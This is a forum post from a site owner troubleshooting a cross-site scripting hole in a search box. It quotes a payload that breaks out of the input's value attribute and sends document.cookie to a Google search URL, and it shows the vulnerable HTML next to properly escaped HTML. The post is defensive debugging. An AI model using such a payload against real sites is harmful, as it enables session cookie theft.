Hi coroico,
Thank you for your testing and reply.
As search query I’m entering the string as stated below (the whole line, with the " and the spaces):
" onClick="document.location.href=’
http://www.google.com?q=my+cookie+is+’ + document.cookie; "
On your site (
http://www.evo.wangba.fr/index.php?id=178), the result is a "\" in the search field and the error "At least 3 characters are required for your search term". On my site in contrast, i get an empty search field (and the same error).
If I click now on the search field again, I get redirected and my cookie shows up in the Google search field, like:
my cookie is SN4d3fe3c888813=flg1geqq6lajhbnj0cif8ia0u1
The relevant section of the HTML-code from the results page on my site is:
<input id="ajaxSearch_input" class="cleardefault" type="text" name="search" value="" onClick="document.location.href=’
http://www.google.com?q=my+cookie+is+’ + document.cookie; "" onfocus="this.value=(this.value==’Search here...’)? ’’ : this.value ;" />
Instead of your perfectly escaped result:
<input id="ajaxSearch_input" class="cleardefault" type="text" name="search" value="\" onClick=\"document.location.href=\’
http://www.google.com?q=my+cookie+is+\’ + document.cookie; \"" onfocus="this.value=(this.value==’Search here...’)? ’’ : this.value ;" />
What am I doing wrong?
Thank you very much,
Ki